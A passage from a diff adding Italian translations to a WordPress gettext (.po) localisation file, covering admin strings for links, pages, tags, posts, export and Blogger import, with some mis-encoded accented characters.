+msgid "Update Comment"
+msgstr "Aggiorna commento"
+
+#: wp-admin/edit-form-comment.php:92
+#: wp-includes/js/tinymce/langs/wp-langs.php:271
+msgid "Name:"
+msgstr "Nome:"
+
+#: wp-admin/edit-form-comment.php:99
+#, php-format
+msgid "E-mail (%s):"
+msgstr "E-mail (%s):"
+
+#: wp-admin/edit-form-comment.php:99
+msgid "send e-mail"
+msgstr "invia e-mail"
+
+#: wp-admin/edit-form-comment.php:101
+msgid "E-mail:"
+msgstr "E-mail:"
+
+#: wp-admin/edit-form-comment.php:111
+msgid "visit site"
+msgstr "visualizza sito"
+
+#: wp-admin/edit-form-comment.php:112
+#, php-format
+msgid "URL (%s):"
+msgstr "URL (%s):"
+
+#: wp-admin/edit-form-comment.php:114
+msgid "URL:"
+msgstr "URL:"
+
+#: wp-admin/edit-link-categories.php:47
+#: wp-admin/menu.php:57
+msgid "Link Categories"
+msgstr "Categorie dei link"
+
+#: wp-admin/edit-link-categories.php:60
+msgid "Categories deleted."
+msgstr "Categorie cancellate."
+
+#: wp-admin/edit-link-categories.php:178
+#, php-format
+msgid "<strong>Note:</strong><br />Deleting a category does not delete the links in that category. Instead, links that were only assigned to the deleted category are set to the category <strong>%s</strong>."
+msgstr "<strong>Nota:</strong><br />cancellando una categoria non si cancellano i link in essa contenuti. I link che sono assegnati alla sola categoria cancellata verranno assegnati ala categoria <strong>%s</strong>."
+
+#: wp-admin/edit-link-categories.php:192
+#: wp-admin/edit-link-category-form.php:26
+msgid "Add Link Category"
+msgstr "Aggiungi categoria link"
+
+#: wp-admin/edit-link-categories.php:199
+#: wp-admin/edit-link-category-form.php:65
+msgid "Link Category name"
+msgstr "Nome link di categoria"
+
+#: wp-admin/edit-link-categories.php:204
+#: wp-admin/edit-link-category-form.php:69
+msgid "Link Category slug"
+msgstr "Abbreviazione link di categoria"
+
+#: wp-admin/edit-link-categories.php:210
+#: wp-admin/edit-link-category-form.php:74
+msgid "Description (optional)"
+msgstr "Descrizione (facoltativa)"
+
+#: wp-admin/edit-link-category-form.php:19
+msgid "Edit Link Category"
+msgstr "Modifica categoria link"
+
+#: wp-admin/edit-link-form.php:10
+#, php-format
+msgid "<a href=\"%s\">Links</a> / Edit Link"
+msgstr "<a href=\"%s\">Link</a> / Modifica link"
+
+#: wp-admin/edit-link-form.php:11
+#: wp-admin/edit-link-form.php:94
+msgid "Update Link"
+msgstr "Aggiorna link"
+
+#: wp-admin/edit-link-form.php:15
+#, php-format
+msgid "<a href=\"%s\">Links</a> / Add New Link"
+msgstr "<a href=\"%s\">Link</a> / Aggiungi nuovo link"
+
+#: wp-admin/edit-link-form.php:16
+#: wp-admin/edit-link-form.php:96
+msgid "Add Link"
+msgstr "Aggiungi link"
+
+#: wp-admin/edit-link-form.php:69
+msgid "Visit Link"
+msgstr "Visita Link"
+
+#: wp-admin/edit-link-form.php:77
+msgid "Keep this link private"
+msgstr "Mantieni questo link privato"
+
+#: wp-admin/edit-link-form.php:88
+#: wp-admin/link-manager.php:200
+#, php-format
+msgid ""
+"You are about to delete this link '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questo link '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/edit-link-form.php:160
+#: wp-admin/edit-link-form.php:174
+#: wp-includes/js/tinymce/langs/wp-langs.php:292
+#: wp-includes/js/tinymce/langs/wp-langs.php:341
+msgid "Target"
+msgstr "Destinazione"
+
+#: wp-admin/edit-link-form.php:163
+msgid "<code>_blank</code> - new window or tab."
+msgstr "<code>_blank</code> - nuova finestra o tab."
+
+#: wp-admin/edit-link-form.php:166
+msgid "<code>_top</code> - current window or tab, with no frames."
+msgstr "<code>_top</code> - finestra o tab correntecurrent senza frame."
+
+#: wp-admin/edit-link-form.php:169
+msgid "<code>_none</code> - same window or tab."
+msgstr "<code>_none</code> - stessa finestra o tab."
+
+#: wp-admin/edit-link-form.php:171
+msgid "Choose the target frame for your link."
+msgstr "Selezionare il frame di destinazione per il proprio link:"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:187
+msgid "rel:"
+msgstr "rel:"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:194
+#: wp-admin/edit-link-form.php:195
+msgid "identity"
+msgstr "identitÃ "
+
+#: wp-admin/edit-link-form.php:198
+msgid "another web address of mine"
+msgstr "un altro dei miei indirizzi web"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:202
+#: wp-admin/edit-link-form.php:203
+msgid "friendship"
+msgstr "amicizia"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:205
+msgid "contact"
+msgstr "contatto"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:207
+msgid "acquaintance"
+msgstr "conoscenza"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:209
+msgid "friend"
+msgstr "amico"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:211
+#: wp-admin/edit-link-form.php:244
+#: wp-admin/edit-link-form.php:267
+msgid "none"
+msgstr "nessuno"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:215
+#: wp-admin/edit-link-form.php:216
+msgid "physical"
+msgstr "fisico"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:219
+msgid "met"
+msgstr "incontrato"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:223
+#: wp-admin/edit-link-form.php:224
+msgid "professional"
+msgstr "professionale"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:227
+msgid "co-worker"
+msgstr "collaboratore"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:230
+msgid "colleague"
+msgstr "collega"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:234
+#: wp-admin/edit-link-form.php:235
+msgid "geographical"
+msgstr "geografico"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:238
+msgid "co-resident"
+msgstr "coinquilino"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:241
+msgid "neighbor"
+msgstr "vicino"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:248
+#: wp-admin/edit-link-form.php:249
+msgid "family"
+msgstr "familiare"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:252
+msgid "child"
+msgstr "figlio"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:255
+msgid "kin"
+msgstr "parentela"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:258
+msgid "parent"
+msgstr "genitore"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:261
+msgid "sibling"
+msgstr "parente"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:264
+msgid "spouse"
+msgstr "sposo/a"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:271
+#: wp-admin/edit-link-form.php:272
+msgid "romantic"
+msgstr "relazione"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:275
+msgid "muse"
+msgstr "musa"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:278
+msgid "crush"
+msgstr "innamoramento"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:281
+msgid "date"
+msgstr "appuntamento"
+
+#. translators: xfn: http://gmpg.org/xfn/
+#: wp-admin/edit-link-form.php:284
+msgid "sweetheart"
+msgstr "fidanzato/a"
+
+#: wp-admin/edit-link-form.php:291
+msgid "If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href=\"http://gmpg.org/xfn/\">XFN</a>."
+msgstr "Se un link Ãš verso una persona, Ãš possibile indicare il tipo di relazione con essa utilizzando il modulo qui sopra. Per approfondire questa idea si veda <a href=\"http://gmpg.org/xfn/\">XFN</a>."
+
+#: wp-admin/edit-link-form.php:294
+msgid "Link Relationship (XFN)"
+msgstr "Relazioni tra link (XFN)"
+
+#: wp-admin/edit-link-form.php:307
+msgid "Image Address"
+msgstr "Indirizzo immagine"
+
+#: wp-admin/edit-link-form.php:311
+msgid "RSS Address"
+msgstr "Indirizzo RSS"
+
+#: wp-admin/edit-link-form.php:315
+msgid "Notes"
+msgstr "Note"
+
+#: wp-admin/edit-link-form.php:319
+#: wp-admin/includes/plugin-install.php:303
+#: wp-admin/includes/plugin-install.php:313
+#: wp-admin/includes/template.php:858
+msgid "Rating"
+msgstr "Punteggio"
+
+#: wp-admin/edit-link-form.php:328
+msgid "(Leave at 0 for no rating.)"
+msgstr "(lascia 0 per non assegnare un voto)"
+
+#: wp-admin/edit-link-form.php:334
+#: wp-content/themes/default/functions.php:402
+#: wp-includes/js/tinymce/langs/wp-langs.php:304
+#: wp-includes/js/tinymce/wp-mce-help.php:175
+msgid "Advanced"
+msgstr "Avanzate"
+
+#: wp-admin/edit-link-form.php:348
+msgid "Link added."
+msgstr "Link aggiunto."
+
+#: wp-admin/edit-link-form.php:375
+#: wp-admin/includes/plugin-install.php:301
+#: wp-admin/includes/plugin-install.php:311
+#: wp-admin/includes/template.php:232
+#: wp-admin/includes/template.php:853
+#: wp-admin/includes/template.php:868
+#: wp-admin/includes/template.php:878
+#: wp-admin/includes/template.php:888
+#: wp-admin/includes/template.php:899
+#: wp-admin/includes/template.php:2278
+#: wp-admin/includes/template.php:2372
+#: wp-admin/includes/template.php:2387
+#: wp-admin/includes/template.php:2476
+#: wp-admin/themes.php:272
+#: wp-admin/user-edit.php:183
+#: wp-content/themes/classic/comments-popup.php:71
+#: wp-content/themes/classic/comments.php:57
+#: wp-includes/js/tinymce/langs/wp-langs.php:312
+msgid "Name"
+msgstr "Nome"
+
+#: wp-admin/edit-link-form.php:378
+msgid "Example: Nifty blogging software"
+msgstr "Esempio: Un software di blogging carino"
+
+#: wp-admin/edit-link-form.php:383
+msgid "Web Address"
+msgstr "indirizzo web"
+
+#: wp-admin/edit-link-form.php:386
+msgid "Example: <code>http://wordpress.org/</code> &#8212; don&#8217;t forget the <code>http://</code>"
+msgstr "Esempio: <code>http://wordpress.org/</code> &#8212; non dimenticare l&#8217;<code>http://</code>"
+
+#: wp-admin/edit-link-form.php:394
+msgid "This will be shown when someone hovers over the link in the blogroll, or optionally below the link."
+msgstr "Questa descrizione viene visualizzata quando si passa sopra il link nel blogroll oppure opzionalmente sotto il link."
+
+#: wp-admin/edit-page-form.php:21
+#, php-format
+msgid "Page updated. <a href=\"%s\">View page</a>"
+msgstr "Pagina aggiornata. <a href=\"%s\">Visualizza pagina</a>"
+
+#: wp-admin/edit-page-form.php:24
+#, php-format
+msgid "Page published. <a href=\"%s\">View page</a>"
+msgstr "Pagina pubblicata. <a href=\"%s\">Visualizza pagina</a>"
+
+#: wp-admin/edit-page-form.php:25
+#, php-format
+msgid "Page submitted. <a href=\"%s\">Preview page</a>"
+msgstr "Pagina inviata. <a href=\"%s\">Anteprima pagina</a>"
+
+#: wp-admin/edit-page-form.php:28
+#, php-format
+msgid "Page restored to revision from %s"
+msgstr "Pagina ripristinata alla revisione da %s"
+
+#: wp-admin/edit-page-form.php:31
+#, php-format
+msgid "There is an autosave of this page that is more recent than the version below.  <a href=\"%s\">View the autosave</a>."
+msgstr "Vi Ãš un salvataggio automatico per questa pagina che Ãš piÃ¹ recente della versione sottostante. <a href=\"%s\">Visualizzare il salvataggio automatico</a>. "
+
+#: wp-admin/edit-page-form.php:219
+#, php-format
+msgid ""
+"You are about to delete this page '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Stai per cancellare questa pagina '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/edit-page-form.php:241
+#: wp-admin/edit-page-form.php:242
+#: wp-admin/includes/template.php:1259
+#: wp-includes/script-loader.php:307
+msgid "Update Page"
+msgstr "Aggiorna pagina"
+
+#: wp-admin/edit-page-form.php:262
+msgid "Keep this page private"
+msgstr "Mantieni questa pagina privata"
+
+#: wp-admin/edit-page-form.php:263
+msgid "Page Password"
+msgstr "Password di pagina"
+
+#: wp-admin/edit-page-form.php:264
+msgid "Password Protect This Page"
+msgstr "Proteggi questa pagina con password"
+
+#: wp-admin/edit-page-form.php:265
+msgid "Setting a password will require people who visit your blog to enter the above password to view this page and its comments."
+msgstr "Impostando una password si richiederÃ  alle persone che visitano il blog di inserire la password sopra indicata per visualizzare questa pagina ed i suoi commenti."
+
+#: wp-admin/edit-page-form.php:279
+#: wp-admin/includes/template.php:244
+#: wp-admin/includes/template.php:1123
+msgid "Parent"
+msgstr "Genitore"
+
+#: wp-admin/edit-page-form.php:280
+msgid "Page Parent"
+msgstr "Pagina madre"
+
+#: wp-admin/edit-page-form.php:281
+#: wp-admin/includes/template.php:1125
+msgid "Main Page (no parent)"
+msgstr "Pagina base"
+
+#: wp-admin/edit-page-form.php:282
+msgid "You can arrange your pages in hierarchies, for example you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how deeply nested you can make pages."
+msgstr "&Egrave; possibile organizzare le pagine in gerarchie, ad esempio si puÃ² avere una pagina &#8220;Informazioni&#8221; che ha le pagine &#8220;Storia della mia vita&#8221; e &#8220;Il mio cane&#8221; sotto di essa. Non vi sono limiti su quanto possono venir annidate profondamente le pagine."
+
+#: wp-admin/edit-page-form.php:285
+#: wp-admin/includes/template.php:1143
+msgid "Template"
+msgstr "Template"
+
+#: wp-admin/edit-page-form.php:286
+#: wp-admin/includes/file.php:21
+msgid "Page Template"
+msgstr "Template pagine"
+
+#: wp-admin/edit-page-form.php:287
+#: wp-admin/includes/template.php:1148
+msgid "Default Template"
+msgstr "Template standard"
+
+#: wp-admin/edit-page-form.php:290
+msgid "Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them above."
+msgstr "Alcuni temi hanno dei template personalizzati da poter utilizzare per determinate pagine, che possono contenere funzionalitÃ  aggiuntive o una grafica personalizzata. Se cosÃ¬ fosse queste appariranno qui sopra."
+
+#: wp-admin/edit-page-form.php:293
+#: wp-admin/includes/media.php:997
+#: wp-admin/includes/media.php:1600
+#: wp-admin/includes/template.php:1136
+msgid "Order"
+msgstr "Ordinamento"
+
+#: wp-admin/edit-page-form.php:294
+msgid "Page Order"
+msgstr "Ordine pagine"
+
+#: wp-admin/edit-page-form.php:295
+msgid "Pages are usually ordered alphabetically, but you can put a number above to change the order pages appear in. (We know this is a little janky, it&#8217;ll be better in future releases.)"
+msgstr "Le pagine sono solitamente ordinate alfabeticamente, ma Ãš possibile inserire un numero qui sopra per cambiare l&#8217;ordine con cui appaiono le pagine. (Sappiamo che Ãš un metodo un po&#8217; rozzo, verrÃ  migliorato nelle prossime versioni.)"
+
+#: wp-admin/edit-page-form.php:298
+msgid "Attributes"
+msgstr "Attributi"
+
+#: wp-admin/edit-page-form.php:333
+#: wp-admin/includes/template.php:1189
+msgid "Allow Comments"
+msgstr "Permetti commenti"
+
+#: wp-admin/edit-page-form.php:334
+#: wp-admin/includes/template.php:1194
+msgid "Allow Pings"
+msgstr "Permetti ping"
+
+#: wp-admin/edit-page-form.php:335
+msgid "These settings apply to this page only. &#8220;Pings&#8221; are <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">trackbacks and pingbacks</a>."
+msgstr "Queste impostazioni si applicano solo a questa pagina. I &#8220;ping&#8221; sono <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">i trackbacks ed i pingbacks</a>."
+
+#: wp-admin/edit-page-form.php:349
+#: wp-admin/edit-page-form.php:352
+msgid "Page Slug"
+msgstr "Abbreviazione pagina"
+
+#: wp-admin/edit-page-form.php:371
+#: wp-admin/edit-page-form.php:374
+msgid "Page Author"
+msgstr "Autore pagina"
+
+#: wp-admin/edit-page-form.php:388
+#: wp-admin/revision.php:138
+msgid "Page Revisions"
+msgstr "Revisioni pagina"
+
+#: wp-admin/edit-pages.php:25
+#: wp-admin/page.php:150
+msgid "You are not allowed to delete this page."
+msgstr "Non si dispone del permesso per cancellare questa pagina."
+
+#: wp-admin/edit-pages.php:29
+#: wp-admin/edit-pages.php:32
+#: wp-admin/edit.php:37
+#: wp-admin/edit.php:40
+#: wp-admin/page.php:154
+#: wp-admin/page.php:157
+#: wp-admin/post.php:195
+#: wp-admin/post.php:198
+#: wp-admin/upload.php:83
+msgid "Error in deleting..."
+msgstr "Errore durante la cancellazione..."
+
+#: wp-admin/edit-pages.php:73
+#: wp-admin/includes/template.php:3214
+msgid "Edit Pages"
+msgstr "Modifica pagine"
+
+#: wp-admin/edit-pages.php:78
+msgctxt "page"
+msgid "Published"
+msgstr "Pubblicato"
+
+#: wp-admin/edit-pages.php:78
+msgid "Published pages"
+msgstr "Pagine pubblicate"
+
+#: wp-admin/edit-pages.php:78
+#, php-format
+msgctxt "page"
+msgid "Published <span class=\"count\">(%s)</span>"
+msgid_plural "Published <span class=\"count\">(%s)</span>"
+msgstr[0] "Pubblicato <span class=\"count\">(%s)</span>"
+msgstr[1] "Pubblicati <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:79
+msgctxt "page"
+msgid "Scheduled"
+msgstr "Programmato"
+
+#: wp-admin/edit-pages.php:79
+msgid "Scheduled pages"
+msgstr "Pagine programmate"
+
+#: wp-admin/edit-pages.php:79
+#, php-format
+msgctxt "page"
+msgid "Scheduled <span class=\"count\">(%s)</span>"
+msgid_plural "Scheduled <span class=\"count\">(%s)</span>"
+msgstr[0] "Programmata <span class=\"count\">(%s)</span>"
+msgstr[1] "Programmate <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:80
+msgctxt "page"
+msgid "Pending Review"
+msgstr "In attesa di revisione"
+
+#: wp-admin/edit-pages.php:80
+msgid "Pending pages"
+msgstr "Pagine in attesa"
+
+#: wp-admin/edit-pages.php:80
+#, php-format
+msgctxt "page"
+msgid "Pending Review <span class=\"count\">(%s)</span>"
+msgid_plural "Pending Review <span class=\"count\">(%s)</span>"
+msgstr[0] "In attesa di revisione <span class=\"count\">(%s)</span>"
+msgstr[1] "In attesa di revisione <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:81
+msgctxt "page"
+msgid "Draft"
+msgstr "Bozza"
+
+#: wp-admin/edit-pages.php:81
+#: wp-admin/includes/post.php:796
+msgctxt "manage posts header"
+msgid "Drafts"
+msgstr "Bozze"
+
+#: wp-admin/edit-pages.php:81
+#, php-format
+msgctxt "page"
+msgid "Draft <span class=\"count\">(%s)</span>"
+msgid_plural "Drafts <span class=\"count\">(%s)</span>"
+msgstr[0] "Bozza <span class=\"count\">(%s)</span>"
+msgstr[1] "Bozze <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:82
+msgctxt "page"
+msgid "Private"
+msgstr "Privato"
+
+#: wp-admin/edit-pages.php:82
+msgid "Private pages"
+msgstr "Pagine private"
+
+#: wp-admin/edit-pages.php:82
+#, php-format
+msgctxt "page"
+msgid "Private <span class=\"count\">(%s)</span>"
+msgid_plural "Private <span class=\"count\">(%s)</span>"
+msgstr[0] "Privata <span class=\"count\">(%s)</span>"
+msgstr[1] "Private <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:90
+#: wp-admin/includes/template.php:3174
+#: wp-admin/menu.php:59
+#: wp-includes/default-widgets.php:19
+#: wp-includes/default-widgets.php:25
+#: wp-includes/post-template.php:741
+msgid "Pages"
+msgstr "Pagine"
+
+#: wp-admin/edit-pages.php:117
+#, php-format
+msgid "%s page updated."
+msgid_plural "%s pages updated."
+msgstr[0] "%s pagina aggiornata."
+msgstr[1] "%s pagine aggiornate."
+
+#: wp-admin/edit-pages.php:122
+#, php-format
+msgid "%s page not updated, invalid parent page specified."
+msgid_plural "%s pages not updated, invalid parent page specified."
+msgstr[0] "Pagina %s non aggiornata, si Ãš specificata una pagina madre non valida."
+msgstr[1] "Pagine %s non aggiornate, si Ãš specificata una pagina madre non valida."
+
+#: wp-admin/edit-pages.php:127
+#, php-format
+msgid "%s page not updated, somebody is editing it."
+msgid_plural "%s pages not updated, somebody is editing them."
+msgstr[0] "Pagina %s non aggiornata, qualcun'altro la sta modificando."
+msgstr[1] "Pagine %s non aggiornate, qualcun'altro le sta modificando."
+
+#: wp-admin/edit-pages.php:132
+#, php-format
+msgid "Page deleted."
+msgid_plural "%s pages deleted."
+msgstr[0] "Pagina cancellata."
+msgstr[1] "%s pagine cancellate."
+
+#: wp-admin/edit-pages.php:141
+msgid "Your page has been saved."
+msgstr "La pagina Ãš stata salvata."
+
+#: wp-admin/edit-pages.php:141
+msgid "View page"
+msgstr "Visualizza pagina"
+
+#: wp-admin/edit-pages.php:141
+msgid "Edit page"
+msgstr "Modifica pagina"
+
+#: wp-admin/edit-pages.php:155
+#, php-format
+msgctxt "pages"
+msgid "All <span class=\"count\">(%s)</span>"
+msgid_plural "All <span class=\"count\">(%s)</span>"
+msgstr[0] "Tutta <span class=\"count\">(%s)</span>"
+msgstr[1] "Tutte <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-pages.php:174
+#: wp-admin/edit-pages.php:176
+msgid "Search Pages"
+msgstr "Cerca pagine"
+
+#: wp-admin/edit-pages.php:267
+msgid "No pages found."
+msgstr "Nessun pagina trovata."
+
+#. translators: column name
+#: wp-admin/edit-pages.php:297
+#: wp-admin/includes/template.php:844
+msgctxt "column name"
+msgid "Comment"
+msgstr "Commento"
+
+#: wp-admin/edit-pages.php:300
+msgid "Submitted"
+msgstr "Inviato"
+
+#: wp-admin/edit-tag-form.php:10
+msgid "A tag was not selected for editing."
+msgstr "Non Ãš stato selezionato alcun tag da modificare."
+
+#: wp-admin/edit-tag-form.php:19
+#: wp-admin/edit-tags.php:91
+msgid "Edit Tag"
+msgstr "Modifica tag"
+
+#: wp-admin/edit-tag-form.php:28
+#: wp-admin/edit-tags.php:284
+msgid "Tag name"
+msgstr "Nome tag"
+
+#: wp-admin/edit-tag-form.php:30
+#: wp-admin/edit-tags.php:286
+msgid "The name is how the tag appears on your site."
+msgstr "Il nome Ãš quello con cui appare il tag sul vostro sito."
+
+#: wp-admin/edit-tag-form.php:33
+#: wp-admin/edit-tags.php:290
+msgid "Tag slug"
+msgstr "Abbreviazione tag"
+
+#: wp-admin/edit-tag-form.php:44
+#: wp-admin/includes/template.php:266
+msgid "Update Tag"
+msgstr "Aggiorna tag"
+
+#: wp-admin/edit-tags.php:12
+#: wp-admin/includes/dashboard.php:406
+#: wp-admin/includes/template.php:755
+#: wp-admin/includes/template.php:1156
+#: wp-includes/default-widgets.php:969
+msgid "Tags"
+msgstr "Tag"
+
+#: wp-admin/edit-tags.php:20
+#: wp-includes/taxonomy.php:1349
+#: wp-includes/taxonomy.php:1607
+msgid "Invalid taxonomy"
+msgstr "Tassonomia non valida"
+
+#: wp-admin/edit-tags.php:140
+msgid "Tag added."
+msgstr "Tag aggiunto."
+
+#: wp-admin/edit-tags.php:141
+msgid "Tag deleted."
+msgstr "Tag cancellato."
+
+#: wp-admin/edit-tags.php:142
+msgid "Tag updated."
+msgstr "Tag aggiornato."
+
+#: wp-admin/edit-tags.php:143
+msgid "Tag not added."
+msgstr "il tag non Ãš stata aggiunto."
+
+#: wp-admin/edit-tags.php:145
+msgid "Tags deleted."
+msgstr "Tag cancellati"
+
+#: wp-admin/edit-tags.php:162
+#: wp-admin/edit-tags.php:164
+msgid "Search Tags"
+msgstr "Cerca tag"
+
+#: wp-admin/edit-tags.php:263
+msgid "Popular Tags"
+msgstr "Tag piÃ¹ popolari"
+
+#: wp-admin/edit-tags.php:276
+msgid "Add a New Tag"
+msgstr "Aggiungi nuovo tag"
+
+#: wp-admin/edit-tags.php:301
+msgid "Add Tag"
+msgstr "Aggiungi nuovo tag"
+
+#: wp-admin/edit.php:33
+#: wp-admin/post.php:191
+#: wp-admin/upload.php:79
+msgid "You are not allowed to delete this post."
+msgstr "Non si dispone del permesso per cancellare questo articolo."
+
+#: wp-admin/edit.php:81
+#: wp-admin/includes/template.php:3208
+msgid "Edit Posts"
+msgstr "Modifica articoli"
+
+#: wp-admin/edit.php:106
+#: wp-admin/press-this.php:516
+msgid "Your post has been saved."
+msgstr "L&#8217;articolo Ãš stato salvato."
+
+#: wp-admin/edit.php:106
+#: wp-admin/press-this.php:516
+msgid "View post"
+msgstr "Visualizza articolo"
+
+#: wp-admin/edit.php:106
+#: wp-admin/press-this.php:516
+#: wp-includes/link-template.php:730
+msgid "Edit post"
+msgstr "Modifica articolo"
+
+#: wp-admin/edit.php:113
+#, php-format
+msgid "%s post updated."
+msgid_plural "%s posts updated."
+msgstr[0] "%s articolo aggiornato."
+msgstr[1] "%s articoli aggiornati."
+
+#: wp-admin/edit.php:121
+#, php-format
+msgid "%s post not updated, somebody is editing it."
+msgid_plural "%s posts not updated, somebody is editing them."
+msgstr[0] "%s articolo non aggiornato, qualcun altro lo sta modificando."
+msgstr[1] "%s articoli non aggiornati, qualcun altro li sta modificando."
+
+#: wp-admin/edit.php:126
+#, php-format
+msgid "Post deleted."
+msgid_plural "%s posts deleted."
+msgstr[0] "Articolo cancellato."
+msgstr[1] "%s articoli cancellati."
+
+#: wp-admin/edit.php:144
+#, php-format
+msgctxt "posts"
+msgid "All <span class=\"count\">(%s)</span>"
+msgid_plural "All <span class=\"count\">(%s)</span>"
+msgstr[0] "Tutto <span class=\"count\">(%s)</span>"
+msgstr[1] "Tutti <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit.php:167
+#: wp-admin/edit.php:169
+msgid "Search Posts"
+msgstr "Cerca articoli"
+
+#: wp-admin/edit.php:213
+#: wp-admin/includes/media.php:1798
+#: wp-admin/upload.php:263
+msgid "Show all dates"
+msgstr "Tutte le date"
+
+#: wp-admin/edit.php:234
+msgid "View all categories"
+msgstr "Tutte le categorie"
+
+#: wp-admin/edit.php:254
+msgid "List View"
+msgstr "Vista a lista"
+
+#: wp-admin/edit.php:255
+msgid "Excerpt View"
+msgstr "Vista riassunti"
+
+#: wp-admin/edit.php:286
+msgid "No posts found"
+msgstr "Nessun articolo trovato."
+
+#: wp-admin/export.php:14
+#: wp-admin/menu.php:104
+msgid "Export"
+msgstr "Esporta"
+
+#: wp-admin/export.php:29
+msgid "When you click the button below WordPress will create an XML file for you to save to your computer."
+msgstr "Quando si farÃ  clic sul pulsante qui sotto WordPress creerÃ  un file XML da salvare sul proprio computer."
+
+#: wp-admin/export.php:30
+msgid "This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags."
+msgstr "Questo formato, che noi chiamiamo WordPress eXtended RSS o WXR, conterrÃ  gli articoli, le pagine, i commenti, i campi personalizzati, le categorie ed i tag."
+
+#: wp-admin/export.php:31
+msgid "Once you&#8217;ve saved the download file, you can use the Import function on another WordPress blog to import this blog."
+msgstr "Una volta salvato il file scaricato, sarÃ  possibile usare le funzioni di importazione su un altro blog WordPress per importare questo blog."
+
+#: wp-admin/export.php:33
+#: wp-admin/includes/template.php:3664
+msgid "Options"
+msgstr "Impostazioni"
+
+#: wp-admin/export.php:37
+msgid "Restrict Author"
+msgstr "Limita autore"
+
+#: wp-admin/export.php:40
+msgid "All Authors"
+msgstr "Tutti gli autori"
+
+#: wp-admin/export.php:52
+msgid "Download Export File"
+msgstr "Scarica file di esportazione"
+
+#: wp-admin/import.php:19
+msgid "If you have posts or comments in another system, WordPress can import those into this blog. To get started, choose a system to import from below:"
+msgstr "Se si hanno articoli o commenti su un&#8217;altra piattaforma di blogging, WordPress puÃ² importarli nel blog. Per iniziare, selezionare un sistema di importazione dal seguente elenco:"
+
+#: wp-admin/import.php:41
+msgid "No importers are available."
+msgstr "Nessun importatore disponibile."
+
+#: wp-admin/import/blogger.php:50
+msgid "Import Blogger"
+msgstr "Importa da Blogger"
+
+#: wp-admin/import/blogger.php:51
+msgid "Howdy! This importer allows you to import posts and comments from your Blogger account into your WordPress blog."
+msgstr "Salve! Questo importatore permette di importare articoli e commenti da un account Blogger nel vostro blog WordPress."
+
+#: wp-admin/import/blogger.php:52
+msgid "To use this importer, you must have a Google account and an upgraded (New, was Beta) blog hosted on blogspot.com or a custom domain (not FTP)."
+msgstr "Per poter usare questo strumento di importazione, ovvorre avere un account Google, un Blog (Nuovo, era Beta prima) aggiornato ed ospitato su blogspot.com o su un proprio dominio (non FTP)."
+
+#: wp-admin/import/blogger.php:53
+msgid "The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization."
+msgstr "La prima cosa da fare Ãš indicare a  Blogger di lasciare che WordPress acceda al proprio account. Si verrÃ  rimandati qui dopo aver concesso l'autorizzazione."
+
+#: wp-admin/import/blogger.php:54
+msgid "Authorize"
+msgstr "Autorizza"
+
+#: wp-admin/import/blogger.php:93
+msgid "Authorization failed"
+msgstr "Autenticazione fallita"
+
+#: wp-admin/import/blogger.php:94
+msgid "Something went wrong. If the problem persists, send this info to support:"
+msgstr "Qualcosa Ãš andato storto. Se il problema persiste,invia queste informazioni al supporto:"
+
+#: wp-admin/import/blogger.php:151
+msgid "Trouble signing in"
+msgstr "Problemi in registrazione"
+
+#: wp-admin/import/blogger.php:152
